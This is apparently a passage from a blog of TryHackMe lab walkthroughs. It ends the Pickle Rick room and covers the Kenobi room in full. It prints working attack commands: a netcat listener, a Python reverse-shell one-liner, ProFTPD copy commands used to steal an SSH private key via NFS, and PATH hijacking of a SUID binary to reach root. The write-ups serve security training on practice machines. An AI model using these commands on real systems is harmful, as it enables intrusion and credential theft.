GitHub PayloadsAllTheThings
GitHub PayloadsAllTheThings

Next, using NetCat I opened a portal to dimension 4242 (because of the meaning of life) on my attacker machine. This is the portal that our snake payload is going to come through once executed by the web application. I’m well aware that there are hundreds of better snake jazz jokes I could make here but cba.

sudo nc -lvnp 4242
NetCat Listener
NetCat Listener

Finally, I modified the snake one-liner to change it to python 3. I also change the localhost address to the address of my tun0 TryHackMe VPN IP address. I then copied the payload and pasted it into the command input box and hit the execute command.

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Web App Command Execution
Web App Command Execution

Pickle Rick Privilege Escalation

Sure enough, the portal to dimension 4242 was opened. The snake army commenced their invasion of the Pickle Rick web server. They slithered around for a bit and found that they had landed on the server as www-data. However, www-data had sudo privileges to do everything without a password. They used these privileges for their own nefarious purposes and elevated their privileges to root. From there they were able to capture the second ingredient found in the /home/rick directory. They then advanced to the /root directory where they were able to steal the third ingredient. It was only a matter of time before they turned Rick back into a human and took over the world.

Rooted
Rooted

Conclusions

This was a really fun box, I always try not to use words like really and very in my writing as they are unnecessary. However, this box was really fun. I probably enjoyed it more because I am a BIG (again unnecessary wordage) fan of Rick and Morty. I’m also a sucker for boxes with a strong theme as I love the added immersion that it adds. While this box was listed as easy, I do feel the privilege escalation could have been harder. Would have loved to have had to escalate to the Rick user first. And then to root by using a bespoke Rick and Morty themed science binary with unquoted binary paths or something. Perhaps the simplicity of it is what made me enjoy it more, who knows. Anyway, that’s all I have for you. Please check out the video to give me more views, and subscribe if you want.

Conclusions
Conclusions

Kenobi

Hello World and welcome to haxez, in this post we’re going to be channeling our inner Jedi and taking on the TryHackMe Kenobi room. This room requires you to perform some enumeration to identify services. Then, you need to enumerate SAMBA, NFS, and FTP. Next, you need to exploit a vulnerability in FTP to steal Kenobi’s private key and SSH to the server. Once on the server as Kenobi, you can escalate your privileges to root via a SUID file that uses unquoted paths.

Kenobi Enumeration

First, I ran a Nmap scan with the safe scripts, service version, and operating system detection flags set. This revealed that there were 7 ports listening on the host. As can be seen, the important services found were FTP, SSH, HTTP, NFS, and Samba.

sudo nmap -sC -sV -O 10.10.182.106 -T4
Kenobi Nmap Scan
Kenobi Nmap Scan

Kenobi SAMBA Enumeration

Once the Nmap scan was complete, I enumerated the SAMBA shares. There are several Nmap scripts that can enumerate Samba shares, as seen in the image below. In short, the scripts used were ‘smb-enum-shares’ and ‘smb-enum-users’. As can be seen, it was possible to identify a total of 3 shares on the host. Furthermore, the IPC$ and Anonymous shares had read and write access.

sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.182.106
Kenobi SAMBA Enumeration
Kenobi SAMBA Enumeration

Accessing SAMBA Shares

Using a tool called smbclient, it was possible to access the SAMBA shares and view the files. As a result, the Anonymous share (mapped to C:\home\kenobi\share) had a file called log.txt. I downloaded that file using the get command and opened a new tab to read the contents. Notably, the log file mentioned an SSH key being generated as well as the ProftpD service running on port 21.

Kenobi Log.txt
Kenobi Log.txt

Kenobi NFS Enumeration

After reviewing the results of the Nmap scan from earlier, I noticed that NFS was open on ports 111 and 2049. NFS is short for Network File System and is another way to share directories and files on the network. With this in mind, I enumerated the NFS service using a number of Nmap scripts. As can be seen below, the NFS share was exposing the /var directory.

sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.182.106
Kenobi NFS Enumeration
Kenobi NFS Enumeration

Finding Vulnerabilities With Searchsploit

It’s time to start looking for a way to gain access to the machine. From our Nmap scan, we know that we have access to the /var NFS share. We also know that FTP is running and that at some point an SSH key was created. I used Searchsploit to look for vulnerabilities in the ProFTPD 1.3.5 service. The results indicate that there is a command execution vulnerability in this version of ProFTPD.

sudo searchsploit ProFTPD 1.3.5
Searchsploit
Searchsploit

Exploiting FTP

Ordinarily, FTP will only grant us access to the directories and files in the directory specified in the FTP configuration file. However, as this version of FTP is vulnerable and is running as the Kenobi user, we can leverage that. We can copy the SSH key mentioned in the log file, and move it to a directory that we can access such as the NFS share /var. To do this we use the ‘SITE CPFR’ and ‘SITE CPTO’ commands as shown below.

nc 10.10.182.106 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
Coping the Kenobi SSH Key
Coping the Kenobi SSH Key

Stealing The SSH Key From NFS

Now that the SSH key is on the /var NFS share, we can mount that share and steal the key. In order to do this, we’re going to use the mount command. First, we need to make a directory to mount the NFS share to. I created a directory in ‘/mnt’ called kenobi2. Next, I mounted the ‘/var’ directory to that newly created directory and stole the SSH key.

sudo mkdir /mnt/kenobi2
sudo mount 10.10.182.106:/var /mnt/kenobi2
sudo cp /mnt/kenobi2/tmp/id_rsa ~/id_rsa
Mounting NFS and Stealing The Key
Mounting NFS and Stealing The Key

Kenobi Foothold

Now that we have Kenobi’s SSH private key we should be able to access the machine. First we need to change the permissions on the key to 600 to please the SSH gods. Once that is done we can SSH to the box using the SSH key which will grant us our foothold into the machine.

SSH To Box
SSH To Box

System Enumeration

Before we elevate our privileges to root and own the entire system, we need to find a way to do so. One common method of privilege escalation on the Linux system is via programs with the sticky bit set. The sticky bit means that the program retains root privileges when run by a normal user. There is more to it but I won’t explain the details in this write-up. So, we need to find all the files with the sticky bit set. The screenshot below shows the results of a find command used to find sticky bits. Essentially, it is looking for all files where the permissions have the sticky bit and then sending errors to ‘/dev/null’.

find / -perm -u=s -type f 2>/dev/null
Finding Sticky Bits on Kenobi
Finding Sticky Bits on Kenobi
Sticky Bit On Menu
Sticky Bit On Menu

Poking The Program

If you run the same command on your local system, you will notice that the ‘/usr/bin/menu’ binary is uncommon. Running this binary shows us that the program is indeed a bespoke program and it gives us three options.

Running /usr/bin/menu Binary
Running /usr/bin/menu Binary

If we run strings against that binary, we can get an idea of what’s going on. Furthermore, we can see how the creator of this binary made a crucial mistake. We can see that the three options correspond to three system binaries (curl, uname, and ifconfig). Unfortunately for the creator, but fortunately for us, they forgot to include the full path to the binary. As this is running with the sticky bit set we can modify our ‘$PATH’ environmental variable and create our own malicious versions of these binaries.

Strings on /usr/bin/menu Binary
Strings on /usr/bin/menu Binary

Kenobi Privilege Escalation

First, I changed my directory to ‘/tmp’. Then I echoed the contents of the ‘/bin/sh’ binary into a file called curl. This will be our replacement malicious binary. I then gave the newly created curl binary, read, write, and execute privileges. Finally, I exported the ‘/tmp’ path in to our ‘$PATH’ environmental variable. Now, when we run the ‘/usr/bin/menu’ binary, it will look for the binaries in the ‘/tmp’ path first. And what will it find? our malicious curl binary.

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
Creating curl binary and change path
Creating curl binary and change path

Now, when we run the ‘/usr/bin/menu’ binary and select the status check options, it runs our malicious curl binary as root and spawns a shell with root privileges.

Unlimited Power
Unlimited Power

Conclusions

This box was a lot of fun, I’m sure there was more to it that I didn’t explore. For example, there was a web server that I didn’t even look at. With the finale of the Kenobi series being released, I thought there was no better time to do a walkthrough of this box. Try and cash in on those delicious keywords. There was nothing out of the ordinary on this box, very typical enumeration and exploitation but it was still a fun box. Anyway, I hope you enjoyed the write-up, feel free to watch the video below.